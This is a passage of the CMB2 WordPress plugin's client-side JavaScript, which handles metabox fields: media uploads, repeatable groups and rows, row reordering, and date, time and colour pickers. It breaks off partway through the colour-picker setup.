1/**
2 * Controls the behaviours of custom metabox fields.
3 *
4 * @author CMB2 team
5 * @see https://github.com/CMB2/CMB2
6 */
7
8/**
9 * Custom jQuery for Custom Metaboxes and Fields
10 */
11window.CMB2 = window.CMB2 || {};
12(function(window, document, $, cmb, undefined){
13 'use strict';
14
15 // localization strings
16 var l10n = window.cmb2_l10;
17 var setTimeout = window.setTimeout;
18 var $document;
19 var $id = function( selector ) {
20 return $( document.getElementById( selector ) );
21 };
22 var getRowId = function( id, newIterator ) {
23 id = id.split('-');
24 id.splice(id.length - 1, 1);
25 id.push( newIterator );
26 return id.join('-');
27 };
28 cmb.$id = $id;
29 var defaults = {
30 idNumber : false,
31 repeatEls : 'input:not([type="button"]),select,textarea,.cmb2-media-status',
32 noEmpty : 'input:not([type="button"]):not([type="radio"]):not([type="checkbox"]),textarea',
33 repeatUpdate : 'input:not([type="button"]),select,textarea,label',
34 styleBreakPoint : 450,
35 mediaHandlers : {},
36 defaults : {
37 time_picker : l10n.defaults.time_picker,
38 date_picker : l10n.defaults.date_picker,
39 color_picker : l10n.defaults.color_picker || {},
40 code_editor : l10n.defaults.code_editor,
41 },
42 media : {
43 frames : {},
44 },
45 };
46
47 cmb.init = function() {
48 $document = $( document );
49
50 // Setup the CMB2 object defaults.
51 $.extend( cmb, defaults );
52
53 cmb.trigger( 'cmb_pre_init' );
54
55 var $metabox = cmb.metabox();
56 var $repeatGroup = $metabox.find('.cmb-repeatable-group');
57
58 // Init time/date/color pickers
59 cmb.initPickers( $metabox.find('input[type="text"].cmb2-timepicker'), $metabox.find('input[type="text"].cmb2-datepicker'), $metabox.find('input[type="text"].cmb2-colorpicker') );
60
61 // Init code editors.
62 cmb.initCodeEditors( $metabox.find( '.cmb2-textarea-code:not(.disable-codemirror)' ) );
63
64 // Insert toggle button into DOM wherever there is multicheck. credit: Genesis Framework
65 $( '<p><span class="button-secondary cmb-multicheck-toggle">' + l10n.strings.check_toggle + '</span></p>' ).insertBefore( '.cmb2-checkbox-list:not(.no-select-all)' );
66
67 // Make File List drag/drop sortable:
68 cmb.makeListSortable();
69 // Make Repeatable fields drag/drop sortable:
70 cmb.makeRepeatableSortable();
71
72 $metabox
73 .on( 'change', '.cmb2_upload_file', function() {
74 cmb.media.field = $( this ).attr( 'id' );
75 $id( cmb.media.field + '_id' ).val('');
76 })
77 // Media/file management
78 .on( 'click', '.cmb-multicheck-toggle', cmb.toggleCheckBoxes )
79 .on( 'click', '.cmb2-upload-button', cmb.handleMedia )
80 .on( 'click', '.cmb-attach-list li, .cmb2-media-status .img-status img, .cmb2-media-status .file-status > span', cmb.handleFileClick )
81 .on( 'click', '.cmb2-remove-file-button', cmb.handleRemoveMedia )
82 // Repeatable content
83 .on( 'click', '.cmb-add-group-row', cmb.addGroupRow )
84 .on( 'click', '.cmb-add-row-button', cmb.addAjaxRow )
85 .on( 'click', '.cmb-remove-group-row', cmb.removeGroupRow )
86 .on( 'click', '.cmb-remove-row-button', cmb.removeAjaxRow )
87 // Ajax oEmbed display
88 .on( 'keyup paste focusout', '.cmb2-oembed', cmb.maybeOembed )
89 // Reset titles when removing a row
90 .on( 'cmb2_remove_row', '.cmb-repeatable-group', cmb.resetTitlesAndIterator )
91 .on( 'click', '.cmbhandle, .cmbhandle + .cmbhandle-title', cmb.toggleHandle );
92
93 if ( $repeatGroup.length ) {
94 $repeatGroup
95 .on( 'cmb2_add_row', cmb.emptyValue )
96 .on( 'cmb2_add_row', cmb.setDefaults )
97 .filter('.sortable').each( function() {
98 // Add sorting arrows
99 $( this ).find( '.cmb-remove-group-row-button' ).before( '<a class="button-secondary cmb-shift-rows move-up alignleft" href="#"><span class="'+ l10n.up_arrow_class +'"></span></a> <a class="button-secondary cmb-shift-rows move-down alignleft" href="#"><span class="'+ l10n.down_arrow_class +'"></span></a>' );
100 })
101 .on( 'click', '.cmb-shift-rows', cmb.shiftRows );
102 }
103
104 // on pageload
105 setTimeout( cmb.resizeoEmbeds, 500);
106 // and on window resize
107 $( window ).on( 'resize', cmb.resizeoEmbeds );
108
109 if ( $id( 'addtag' ).length ) {
110 cmb.listenTagAdd();
111 }
112
113 $( document ).on( 'cmb_init', cmb.mceEnsureSave );
114
115 cmb.trigger( 'cmb_init' );
116 };
117
118 // Handles updating tiny mce instances when saving a gutenberg post.
119 // https://github.com/CMB2/CMB2/issues/1156
120 cmb.mceEnsureSave = function() {
121 // If no wp.data, do not proceed (no gutenberg)
122 if ( ! wp.data || ! wp.data.hasOwnProperty('subscribe') ) {
123 return;
124 }
125
126 // If the current user cannot richedit, or MCE is not available, bail.
127 if ( ! cmb.canTinyMCE() ) {
128 return;
129 }
130
131 wp.data.subscribe( function() {
132 var editor = wp.data.hasOwnProperty('select') ? wp.data.select( 'core/editor' ) : null;
133
134 // the post is currently being saved && we have tinymce editors
135 if ( editor && editor.isSavingPost && editor.isSavingPost() && window.tinyMCE.editors.length ) {
136 for ( var i = 0; i < window.tinyMCE.editors.length; i++ ) {
137 if ( window.tinyMCE.activeEditor !== window.tinyMCE.editors[i] ) {
138 window.tinyMCE.editors[i].save();
139 }
140 }
141 }
142 });
143 };
144
145 cmb.canTinyMCE = function() {
146 return l10n.user_can_richedit && window.tinyMCE;
147 };
148
149 cmb.listenTagAdd = function() {
150 $document.ajaxSuccess( function( evt, xhr, settings ) {
151 if ( settings.data && settings.data.length && -1 !== settings.data.indexOf( 'action=add-tag' ) ) {
152 cmb.resetBoxes( $id( 'addtag' ).find( '.cmb2-wrap > .cmb2-metabox' ) );
153 }
154 });
155 };
156
157 cmb.resetBoxes = function( $boxes ) {
158 $.each( $boxes, function() {
159 cmb.resetBox( $( this ) );
160 });
161 };
162
163 cmb.resetBox = function( $box ) {
164 $box.find( '.wp-picker-clear' ).trigger( 'click' );
165 $box.find( '.cmb2-remove-file-button' ).trigger( 'click' );
166 $box.find( '.cmb-row.cmb-repeatable-grouping:not(:first-of-type) .cmb-remove-group-row' ).click();
167 $box.find( '.cmb-repeat-row:not(:first-child)' ).remove();
168
169 $box.find( 'input:not([type="button"]),select,textarea' ).each( function() {
170 var $element = $( this );
171 var tagName = $element.prop('tagName');
172
173 if ( 'INPUT' === tagName ) {
174 var elType = $element.attr( 'type' );
175 if ( 'checkbox' === elType || 'radio' === elType ) {
176 $element.prop( 'checked', false );
177 } else {
178 $element.val( '' );
179 }
180 }
181 if ( 'SELECT' === tagName ) {
182 $( 'option:selected', this ).prop( 'selected', false );
183 }
184 if ( 'TEXTAREA' === tagName ) {
185 $element.html( '' );
186 }
187 });
188 };
189
190 cmb.resetTitlesAndIterator = function( evt ) {
191 if ( ! evt.group ) {
192 return;
193 }
194
195 var $table = $( evt.target );
196 var groupTitle = $table.find( '.cmb-add-group-row' ).data( 'grouptitle' );
197
198 // Loop repeatable group table rows
199 $table.find( '.cmb-repeatable-grouping' ).each( function( rowindex ) {
200 var $row = $( this );
201 var prevIterator = parseInt( $row.data( 'iterator' ), 10 );
202 if ( prevIterator === rowindex ) {
203 return;
204 }
205
206 // Reset rows iterator
207 $row
208 .attr( 'data-iterator', rowindex )
209 .data( 'iterator', rowindex )
210 .attr('id', getRowId( $row.attr('id'), rowindex ) )
211 .find( cmb.repeatEls ).each( function() {
212 cmb.updateNameAttr( $( this ), prevIterator, rowindex );
213 });
214
215 cmb.resetGroupTitles( $row, rowindex, groupTitle );
216 });
217 };
218
219 cmb.resetGroupTitles = function( $row, newIterator, groupTitle ) {
220 if ( groupTitle ) {
221 var $rowTitle = $row.find( 'h3.cmb-group-title' );
222
223 // Reset rows title
224 if ( $rowTitle.length ) {
225 $rowTitle.text( groupTitle.replace( '{#}', parseInt( newIterator, 10 ) + 1 ) );
226 }
227 }
228 };
229
230 cmb.toggleHandle = function( evt ) {
231 evt.preventDefault();
232 cmb.trigger( 'postbox-toggled', $( this ).parent('.postbox').toggleClass('closed') );
233 };
234
235 cmb.toggleCheckBoxes = function( evt ) {
236 evt.preventDefault();
237 var $this = $( this );
238 var $multicheck = $this.closest( '.cmb-td' ).find( 'input[type=checkbox]:not([disabled])' );
239
240 var $toggled = ! $this.data( 'checked' );
241 $multicheck.prop( 'checked', $toggled ).trigger( 'change' );
242 $this.data( 'checked', $toggled );
243 };
244
245 cmb.handleMedia = function( evt ) {
246 evt.preventDefault();
247
248 var $el = $( this );
249 cmb.attach_id = ! $el.hasClass( 'cmb2-upload-list' ) ? $el.closest( '.cmb-td' ).find( '.cmb2-upload-file-id' ).val() : false;
250 // Clean up default 0 value
251 cmb.attach_id = '0' !== cmb.attach_id ? cmb.attach_id : false;
252
253 cmb.handleFieldMedia( $el.prev('input.cmb2-upload-file'), $el.hasClass( 'cmb2-upload-list' ) );
254 };
255
256 cmb.handleFileClick = function( evt ) {
257 if ( $( evt.target ).is( 'a' ) ) {
258 return;
259 }
260
261 evt.preventDefault();
262
263 var $el = $( this );
264 var $td = $el.closest( '.cmb-td' );
265 var isList = $td.find( '.cmb2-upload-button' ).hasClass( 'cmb2-upload-list' );
266 cmb.attach_id = isList ? $el.find( 'input[type="hidden"]' ).data( 'id' ) : $td.find( '.cmb2-upload-file-id' ).val();
267
268 if ( cmb.attach_id ) {
269 cmb.handleFieldMedia( $td.find( 'input.cmb2-upload-file' ), isList );
270 }
271 };
272
273 // Leaving this in for back-compat...
274 cmb._handleMedia = function( id, isList ) {
275 return cmb.handleFieldMedia( $id( id ), isList );
276 };
277
278 cmb.handleFieldMedia = function( $field, isList ) {
279 if ( ! wp ) {
280 return;
281 }
282
283 var id = $field.attr('id');
284 var fieldData = $field.data();
285 var media, handlers;
286
287 // Get/set unique id since actual id cold _not_ be unique due to bad replacements, etc...
288 var uid = fieldData.mediaid;
289 if ( ! uid ) {
290 uid = _.uniqueId();
291 $field.attr('data-mediaid', uid).data('mediaid', uid);
292 fieldData.mediaid = uid;
293 }
294
295 handlers = cmb.mediaHandlers;
296 media = cmb.media;
297 media.mediaid = uid;
298 media.field = id;
299 media.$field = $field;
300 media.fieldData = fieldData;
301 media.previewSize = media.fieldData.previewsize;
302 media.sizeName = media.fieldData.sizename;
303 media.fieldName = $field.attr('name');
304 media.isList = isList;
305
306 // If this field's media frame already exists, reopen it.
307 if ( uid in media.frames ) {
308 return media.frames[ uid ].open();
309 }
310
311 // Create the media frame.
312 media.frames[ uid ] = wp.media( {
313 title: cmb.metabox().find('label[for="' + id + '"]').text(),
314 library : media.fieldData.queryargs || {},
315 button: {
316 text: l10n.strings[ isList ? 'upload_files' : 'upload_file' ]
317 },
318 multiple: isList ? 'add' : false
319 } );
320
321 // Enable the additional media filters: https://github.com/CMB2/CMB2/issues/873
322 media.frames[ uid ].states.first().set( 'filterable', 'all' );
323
324 cmb.trigger( 'cmb_media_modal_init', media );
325
326 handlers.list = function( selection, returnIt ) {
327
328 // Setup our fileGroup array
329 var fileGroup = [];
330 var attachmentHtml;
331
332 if ( ! handlers.list.templates ) {
333 handlers.list.templates = {
334 image : wp.template( 'cmb2-list-image' ),
335 file : wp.template( 'cmb2-list-file' ),
336 };
337 }
338
339 // Loop through each attachment
340 selection.each( function( attachment ) {
341
342 // Image preview or standard generic output if it's not an image.
343 attachmentHtml = handlers.getAttachmentHtml( attachment, 'list' );
344
345 // Add our file to our fileGroup array
346 fileGroup.push( attachmentHtml );
347 });
348
349 if ( ! returnIt ) {
350 // Append each item from our fileGroup array to .cmb2-media-status
351 media.$field.siblings( '.cmb2-media-status' ).append( fileGroup );
352 } else {
353 return fileGroup;
354 }
355
356 };
357
358 handlers.single = function( selection ) {
359 if ( ! handlers.single.templates ) {
360 handlers.single.templates = {
361 image : wp.template( 'cmb2-single-image' ),
362 file : wp.template( 'cmb2-single-file' ),
363 };
364 }
365
366 // Only get one file from the uploader
367 var attachment = selection.first();
368
369 media.$field.val( attachment.get( 'url' ) );
370 media.$field.closest( '.cmb-td' ).find('.cmb2-upload-file-id')
371 .val( attachment.get( 'id' ) );
372
373 // Image preview or standard generic output if it's not an image.
374 var attachmentHtml = handlers.getAttachmentHtml( attachment, 'single' );
375
376 // add/display our output
377 media.$field.siblings( '.cmb2-media-status' ).slideDown().html( attachmentHtml );
378 };
379
380 handlers.getAttachmentHtml = function( attachment, templatesId ) {
381 var isImage = 'image' === attachment.get( 'type' );
382 var data = handlers.prepareData( attachment, isImage );
383
384 // Image preview or standard generic output if it's not an image.
385 return handlers[ templatesId ].templates[ isImage ? 'image' : 'file' ]( data );
386 };
387
388 handlers.prepareData = function( data, image ) {
389 if ( image ) {
390 // Set the correct image size data
391 handlers.getImageData.call( data, 50 );
392 }
393
394 data = data.toJSON();
395 data.mediaField = media.field;
396 data.mediaFieldName = media.fieldName;
397 data.stringRemoveImage = l10n.strings.remove_image;
398 data.stringFile = l10n.strings.file;
399 data.stringDownload = l10n.strings.download;
400 data.stringRemoveFile = l10n.strings.remove_file;
401
402 return data;
403 };
404
405 handlers.getImageData = function( fallbackSize ) {
406
407 // Preview size dimensions
408 var previewW = media.previewSize[0] || fallbackSize;
409 var previewH = media.previewSize[1] || fallbackSize;
410
411 // Image dimensions and url
412 var url = this.get( 'url' );
413 var width = this.get( 'width' );
414 var height = this.get( 'height' );
415 var sizes = this.get( 'sizes' );
416
417 // Get the correct dimensions and url if a named size is set and exists
418 // fallback to the 'large' size
419 if ( sizes ) {
420 if ( sizes[ media.sizeName ] ) {
421 url = sizes[ media.sizeName ].url;
422 width = sizes[ media.sizeName ].width;
423 height = sizes[ media.sizeName ].height;
424 } else if ( sizes.large ) {
425 url = sizes.large.url;
426 width = sizes.large.width;
427 height = sizes.large.height;
428 }
429 }
430
431 // Fit the image in to the preview size, keeping the correct aspect ratio
432 if ( width > previewW ) {
433 height = Math.floor( previewW * height / width );
434 width = previewW;
435 }
436
437 if ( height > previewH ) {
438 width = Math.floor( previewH * width / height );
439 height = previewH;
440 }
441
442 if ( ! width ) {
443 width = previewW;
444 }
445
446 if ( ! height ) {
447 height = 'svg' === this.get( 'filename' ).split( '.' ).pop() ? '100%' : previewH;
448 }
449
450 this.set( 'sizeUrl', url );
451 this.set( 'sizeWidth', width );
452 this.set( 'sizeHeight', height );
453
454 return this;
455 };
456
457 handlers.selectFile = function() {
458 var selection = media.frames[ uid ].state().get( 'selection' );
459 var type = isList ? 'list' : 'single';
460
461 if ( cmb.attach_id && isList ) {
462 $( '[data-id="'+ cmb.attach_id +'"]' ).parents( 'li' ).replaceWith( handlers.list( selection, true ) );
463 } else {
464 handlers[type]( selection );
465 }
466
467 cmb.trigger( 'cmb_media_modal_select', selection, media );
468 };
469
470 handlers.openModal = function() {
471 var selection = media.frames[ uid ].state().get( 'selection' );
472 var attach;
473
474 if ( ! cmb.attach_id ) {
475 selection.reset();
476 } else {
477 attach = wp.media.attachment( cmb.attach_id );
478 attach.fetch();
479 selection.set( attach ? [ attach ] : [] );
480 }
481
482 cmb.trigger( 'cmb_media_modal_open', selection, media );
483 };
484
485 // When a file is selected, run a callback.
486 media.frames[ uid ]
487 .on( 'select', handlers.selectFile )
488 .on( 'open', handlers.openModal );
489
490 // Finally, open the modal
491 media.frames[ uid ].open();
492 };
493
494 cmb.handleRemoveMedia = function( evt ) {
495 evt.preventDefault();
496 var $this = $( this );
497 if ( $this.is( '.cmb-attach-list .cmb2-remove-file-button' ) ) {
498 $this.parents( '.cmb2-media-item' ).remove();
499 return false;
500 }
501
502 var $cell = $this.closest( '.cmb-td' );
503 cmb.media.$field = $cell.find('.cmb2-upload-file');
504 cmb.media.field = cmb.media.$field.attr('id');
505
506 cmb.media.$field.val('');
507 $cell.find('.cmb2-upload-file-id').val('');
508 $this.parents('.cmb2-media-status').html('');
509
510 return false;
511 };
512
513 cmb.cleanRow = function( $row, prevNum, group ) {
514 var $elements = $row.find( cmb.repeatUpdate );
515 if ( group ) {
516
517 var $other = $row.find( '[id]' ).not( cmb.repeatUpdate );
518
519 // Remove extra ajaxed rows
520 $row.find('.cmb-repeat-table .cmb-repeat-row:not(:first-child)').remove();
521
522 // Update all elements w/ an ID
523 if ( $other.length ) {
524 $other.each( function() {
525 var $_this = $( this );
526 var oldID = $_this.attr( 'id' );
527 var newID = oldID.replace( '_'+ prevNum, '_'+ cmb.idNumber );
528 var $buttons = $row.find('[data-selector="'+ oldID +'"]');
529 $_this.attr( 'id', newID );
530
531 // Replace data-selector vars
532 if ( $buttons.length ) {
533 $buttons.attr( 'data-selector', newID ).data( 'selector', newID );
534 }
535 });
536 }
537 }
538
539 $elements.filter( ':checked' ).removeAttr( 'checked' );
540 $elements.find( ':checked' ).removeAttr( 'checked' );
541 $elements.filter( ':selected' ).removeAttr( 'selected' );
542 $elements.find( ':selected' ).removeAttr( 'selected', false );
543
544 cmb.resetGroupTitles( $row, cmb.idNumber, $row.data( 'title' ) );
545
546 $elements.each( function() {
547 cmb.elReplacements( $( this ), prevNum, group );
548 } );
549
550 return cmb;
551 };
552
553 cmb.elReplacements = function( $newInput, prevNum, group ) {
554 var oldFor = $newInput.attr( 'for' );
555 var oldVal = $newInput.val();
556 var type = $newInput.prop( 'type' );
557 var defVal = cmb.getFieldArg( $newInput, 'default' );
558 var newVal = 'undefined' !== typeof defVal && false !== defVal ? defVal : '';
559 var tagName = $newInput.prop('tagName');
560 var checkable = 'radio' === type || 'checkbox' === type ? oldVal : false;
561 var attrs = {};
562 var newID, oldID;
563 if ( oldFor ) {
564 attrs = { 'for' : oldFor.replace( '_'+ prevNum, '_'+ cmb.idNumber ) };
565 } else {
566 var oldName = $newInput.attr( 'name' );
567 var newName;
568 oldID = $newInput.attr( 'id' );
569
570 // Handle adding groups vs rows.
571 if ( group ) {
572 // Expect another bracket after group's index closing bracket.
573 newName = oldName ? oldName.replace( '['+ prevNum +'][', '['+ cmb.idNumber +'][' ) : '';
574 // Expect another underscore after group's index trailing underscore.
575 newID = oldID ? oldID.replace( '_' + prevNum + '_', '_' + cmb.idNumber + '_' ) : '';
576 }
577 else {
578 // Row indexes are at the very end of the string.
579 newName = oldName ? cmb.replaceLast( oldName, '[' + prevNum + ']', '[' + cmb.idNumber + ']' ) : '';
580 newID = oldID ? cmb.replaceLast( oldID, '_' + prevNum, '_' + cmb.idNumber ) : '';
581 }
582
583 attrs = {
584 id: newID,
585 name: newName
586 };
587
588 }
589
590 // Clear out textarea values
591 if ( 'TEXTAREA' === tagName ) {
592 $newInput.html( newVal );
593 }
594
595 if ( 'SELECT' === tagName && 'undefined' !== typeof defVal ) {
596 var $toSelect = $newInput.find( '[value="'+ defVal + '"]' );
597 if ( $toSelect.length ) {
598 $toSelect.attr( 'selected', 'selected' ).prop( 'selected', 'selected' );
599 }
600 }
601
602 if ( checkable ) {
603 $newInput.removeAttr( 'checked' );
604 if ( 'undefined' !== typeof defVal && oldVal === defVal ) {
605 $newInput.attr( 'checked', 'checked' ).prop( 'checked', 'checked' );
606 }
607 }
608
609 if ( ! group && $newInput[0].hasAttribute( 'data-iterator' ) ) {
610 attrs['data-iterator'] = cmb.idNumber;
611 }
612
613 $newInput
614 .removeClass( 'hasDatepicker' )
615 .val( checkable ? checkable : newVal ).attr( attrs );
616
617 return $newInput;
618 };
619
620 cmb.newRowHousekeeping = function( $row ) {
621 var $colorPicker = $row.find( '.wp-picker-container' );
622 var $list = $row.find( '.cmb2-media-status' );
623
624 if ( $colorPicker.length ) {
625 // Need to clean-up colorpicker before appending
626 $colorPicker.each( function() {
627 var $td = $( this ).parent();
628 $td.html( $td.find( 'input[type="text"].cmb2-colorpicker' ).attr('style', '') );
629 });
630 }
631
632 // Need to clean-up colorpicker before appending
633 if ( $list.length ) {
634 $list.empty();
635 }
636
637 return cmb;
638 };
639
640 cmb.afterRowInsert = function( $row ) {
641 // Init pickers from new row
642 cmb.initPickers( $row.find('input[type="text"].cmb2-timepicker'), $row.find('input[type="text"].cmb2-datepicker'), $row.find('input[type="text"].cmb2-colorpicker') );
643 };
644
645 cmb.updateNameAttr = function ( $el, prevIterator, newIterator ) {
646 var name = $el.attr( 'name' ); // get current name
647
648 // If name is defined
649 if ( 'undefined' !== typeof name ) {
650 var isFileList = $el.attr( 'id' ).indexOf('filelist');
651
652 // Update field name attributes so data is not orphaned when a row is removed and post is saved
653 var from = isFileList ? '[' + prevIterator + '][' : '[' + prevIterator + ']';
654 var to = isFileList ? '[' + newIterator + '][' : '[' + newIterator + ']';
655 var newName = name.replace( from, to );
656
657 // New name with replaced iterator
658 $el.attr( 'name', newName );
659 }
660 };
661
662 cmb.emptyValue = function( evt, row ) {
663 $( cmb.noEmpty, row ).val( '' );
664 };
665
666 cmb.setDefaults = function( evt, row ) {
667 $( cmb.noEmpty, row ).each( function() {
668 var $el = $(this);
669 var defVal = cmb.getFieldArg( $el, 'default' );
670 if ( 'undefined' !== typeof defVal && false !== defVal ) {
671 $el.val( defVal );
672 }
673 });
674 };
675
676 cmb.addGroupRow = function( evt ) {
677 evt.preventDefault();
678
679 var $this = $( this );
680
681 // before anything significant happens
682 cmb.triggerElement( $this, 'cmb2_add_group_row_start', $this );
683
684 var $table = $id( $this.data('selector') );
685 var $oldRow = $table.find('.cmb-repeatable-grouping').last();
686 var prevNum = parseInt( $oldRow.data('iterator'), 10 );
687 cmb.idNumber = parseInt( prevNum, 10 ) + 1;
688 var $row = $oldRow.clone();
689 var nodeName = $row.prop('nodeName') || 'div';
690
691 // Make sure the next number doesn't exist.
692 while ( $table.find( '.cmb-repeatable-grouping[data-iterator="'+ cmb.idNumber +'"]' ).length > 0 ) {
693 cmb.idNumber++;
694 }
695
696 cmb.newRowHousekeeping( $row.data( 'title', $this.data( 'grouptitle' ) ) ).cleanRow( $row, prevNum, true );
697 $row.find( '.cmb-add-row-button' ).prop( 'disabled', false );
698
699 var $newRow = $( '<' + nodeName + ' id="'+ getRowId( $oldRow.attr('id'), cmb.idNumber ) +'" class="postbox cmb-row cmb-repeatable-grouping" data-iterator="'+ cmb.idNumber +'">'+ $row.html() +'</' + nodeName + '>' );
700 $oldRow.after( $newRow );
701
702 cmb.afterRowInsert( $newRow );
703 cmb.makeRepeatableSortable( $newRow );
704
705 cmb.triggerElement( $table, { type: 'cmb2_add_row', group: true }, $newRow );
706 };
707
708 cmb.addAjaxRow = function( evt ) {
709 evt.preventDefault();
710
711 var $this = $( this );
712 var $table = $id( $this.data('selector') );
713 var $row = $table.find('.empty-row');
714 var prevNum = parseInt( $row.find('[data-iterator]').data('iterator'), 10 );
715 cmb.idNumber = parseInt( prevNum, 10 ) + 1;
716 var $emptyrow = $row.clone();
717
718 cmb.newRowHousekeeping( $emptyrow ).cleanRow( $emptyrow, prevNum );
719
720 $row.removeClass('empty-row hidden').addClass('cmb-repeat-row');
721 $row.after( $emptyrow );
722
723 cmb.afterRowInsert( $emptyrow );
724
725 cmb.triggerElement( $table, { type: 'cmb2_add_row', group: false }, $emptyrow, $row );
726 };
727
728 cmb.removeGroupRow = function( evt ) {
729 evt.preventDefault();
730
731 var $this = $( this );
732 var confirmation = $this.data('confirm');
733
734 // Process further only if deletion confirmation enabled and user agreed.
735 if ( ! cmb.resetRow.resetting && confirmation && ! window.confirm( confirmation ) ) {
736 return;
737 }
738
739 var $table = $id( $this.data('selector') );
740 var $parent = $this.parents('.cmb-repeatable-grouping');
741 var number = $table.find('.cmb-repeatable-grouping').length;
742
743 if ( number < 2 ) {
744 return cmb.resetRow( $parent.parents('.cmb-repeatable-group').find( '.cmb-add-group-row' ), $this );
745 }
746
747 cmb.triggerElement( $table, 'cmb2_remove_group_row_start', $this );
748
749 $parent.remove();
750
751 cmb.triggerElement( $table, { type: 'cmb2_remove_row', group: true } );
752 };
753
754 cmb.removeAjaxRow = function( evt ) {
755 evt.preventDefault();
756
757 var $this = $( this );
758
759 // Check if disabled
760 if ( $this.hasClass( 'button-disabled' ) ) {
761 return;
762 }
763
764 var $parent = $this.parents('.cmb-row');
765 var $table = $this.parents('.cmb-repeat-table');
766 var number = $table.find('.cmb-row').length;
767
768 if ( number <= 2 ) {
769 return cmb.resetRow( $parent.find( '.cmb-add-row-button' ), $this );
770 }
771
772 if ( $parent.hasClass('empty-row') ) {
773 $parent.prev().addClass( 'empty-row' ).removeClass('cmb-repeat-row');
774 }
775
776 $this.parents('.cmb-repeat-table .cmb-row').remove();
777
778
779 cmb.triggerElement( $table, { type: 'cmb2_remove_row', group: false } );
780 };
781
782 cmb.resetRow = function( $addNewBtn, $removeBtn ) {
783 cmb.resetRow.resetting = true;
784 // Click the "add new" button followed by the "remove this" button
785 // in order to reset the repeat row to empty values.
786 $addNewBtn.trigger( 'click' );
787 $removeBtn.trigger( 'click' );
788 cmb.resetRow.resetting = false;
789 };
790
791 cmb.shiftRows = function( evt ) {
792
793 evt.preventDefault();
794
795 var $this = $( this );
796 var moveUp = $this.hasClass( 'move-up' ) ? true : false;
797 var $from = $this.parents( '.cmb-repeatable-grouping' );
798 var $goto = $from[ moveUp ? 'prev' : 'next' ]( '.cmb-repeatable-grouping' );
799
800 // Before shift occurs.
801 cmb.triggerElement( $this, 'cmb2_shift_rows_enter', $this, $from, $goto );
802
803 if ( ! $goto.length ) {
804 return;
805 }
806
807 // About to shift
808 cmb.triggerElement( $this, 'cmb2_shift_rows_start', $this, $from, $goto );
809
810 var fromIterator = $from.attr('data-iterator');
811 var toIterator = $goto.attr('data-iterator');
812
813 // Replace name attributes in both groups.
814 $from.attr( 'data-iterator', toIterator ).find( cmb.repeatEls ).each( function() {
815 cmb.updateNameAttr( $( this ), fromIterator, toIterator );
816 });
817 $goto.attr( 'data-iterator', fromIterator ).find( cmb.repeatEls ).each( function() {
818 cmb.updateNameAttr( $( this ), toIterator, fromIterator );
819 });
820
821 // Replace titles in both groups.
822 var groupTitle = $this.parents( '.cmb-repeatable-group' ).find('[data-grouptitle]').data( 'grouptitle' );
823 if ( groupTitle ) {
824 cmb.resetGroupTitles( $from, toIterator, groupTitle );
825 cmb.resetGroupTitles( $goto, fromIterator, groupTitle );
826 }
827
828 // Now move the group to it's destination.
829 $goto[moveUp ? 'before' : 'after']( $from );
830
831 // Scroll to the top of the shifted group.
832 $([document.documentElement, document.body]).animate({
833 scrollTop: $from.offset().top - 50
834 }, 300);
835
836 // shift done
837 cmb.triggerElement( $this, 'cmb2_shift_rows_complete', $this, $from, $goto );
838 };
839
840 cmb.initPickers = function( $timePickers, $datePickers, $colorPickers ) {
841 cmb.trigger( 'cmb_init_pickers', {
842 time: $timePickers,
843 date: $datePickers,
844 color: $colorPickers
845 } );
846
847 // Initialize jQuery UI timepickers
848 cmb.initDateTimePickers( $timePickers, 'timepicker', 'time_picker' );
849 // Initialize jQuery UI datepickers
850 cmb.initDateTimePickers( $datePickers, 'datepicker', 'date_picker' );
851 // Initialize color picker
852 cmb.initColorPickers( $colorPickers );
853 };
854
855 cmb.initDateTimePickers = function( $selector, method, defaultKey ) {
856 if ( $selector.length ) {
857 $selector[ method ]( 'destroy' ).each( function() {
858 var $this = $( this );
859 var fieldOpts = $this.data( method ) || {};
860 var options = $.extend( {}, cmb.defaults[ defaultKey ], fieldOpts );
861 $this[ method ]( cmb.datePickerSetupOpts( fieldOpts, options, method ) );
862 } );
863 }
864 };
865
866 cmb.datePickerSetupOpts = function( fieldOpts, options, method ) {
867 var existing = $.extend( {}, options );
868
869 options.beforeShow = function( input, inst ) {
870 if ( 'timepicker' === method ) {
871 cmb.addTimePickerClasses( inst.dpDiv );
872 }
873
874 // Wrap datepicker w/ class to narrow the scope of jQuery UI CSS and prevent conflicts
875 $id( 'ui-datepicker-div' ).addClass( 'cmb2-element' );
876
877 // Let's be sure to call beforeShow if it was added
878 if ( 'function' === typeof existing.beforeShow ) {
879 existing.beforeShow( input, inst );
880 }
881 };
882
883 if ( 'timepicker' === method ) {
884 options.onChangeMonthYear = function( year, month, inst, picker ) {
885 cmb.addTimePickerClasses( inst.dpDiv );
886
887 // Let's be sure to call onChangeMonthYear if it was added
888 if ( 'function' === typeof existing.onChangeMonthYear ) {
889 existing.onChangeMonthYear( year, month, inst, picker );
890 }
891 };
892 }
893
894 options.onClose = function( dateText, inst ) {
895 // Remove the class when we're done with it (and hide to remove FOUC).
896 var $picker = $id( 'ui-datepicker-div' ).removeClass( 'cmb2-element' ).hide();
897 if ( 'timepicker' === method && ! $( inst.input ).val() ) {
898 // Set the timepicker field value if it's empty.
899 inst.input.val( $picker.find( '.ui_tpicker_time' ).text() );
900 }
901
902 // Let's be sure to call onClose if it was added
903 if ( 'function' === typeof existing.onClose ) {
904 existing.onClose( dateText, inst );
905 }
906 };
907
908 return options;
909 };
910
911 // Adds classes to timepicker buttons.
912 cmb.addTimePickerClasses = function( $picker ) {
913 var func = cmb.addTimePickerClasses;
914 func.count = func.count || 0;
915
916 // Wait a bit to let the timepicker render, since these are pre-render events.
917 setTimeout( function() {
918 if ( $picker.find( '.ui-priority-secondary' ).length ) {
919 $picker.find( '.ui-priority-secondary' ).addClass( 'button-secondary' );
920 $picker.find( '.ui-priority-primary' ).addClass( 'button-primary' );
921 func.count = 0;
922 } else if ( func.count < 5 ) {
923 func.count++;
924 func( $picker );
925 }
926 }, 10 );
927 };
928
929 cmb.initColorPickers = function( $selector ) {
930 if ( ! $selector.length ) {
931 return;
932 }
933 if ( 'object' === typeof jQuery.wp && 'function' === typeof jQuery.wp.wpColorPicker ) {
934
935 $selector.each( function() {
936 var $this = $( this );
937 var fieldOpts = $this.data( 'colorpicker' ) || {};
938 $this.wpColorPicker( $.extend( {}, cmb.defaults.color_picker, fieldOpts ) );
939 } );
940
941 } else {
942 $selector.each( function( i ) {
943 $( this ).after( '<div id="picker-' + i + '" style="z-index: 1000; background: #EEE; border: 1px solid #CCC; position: absolute; display: block;"></div>' );
944 $id( 'picker-' + i ).hide().farbtastic( $( this ) );
945 } )
946 .focus( function() {
947 $( this ).next().show();
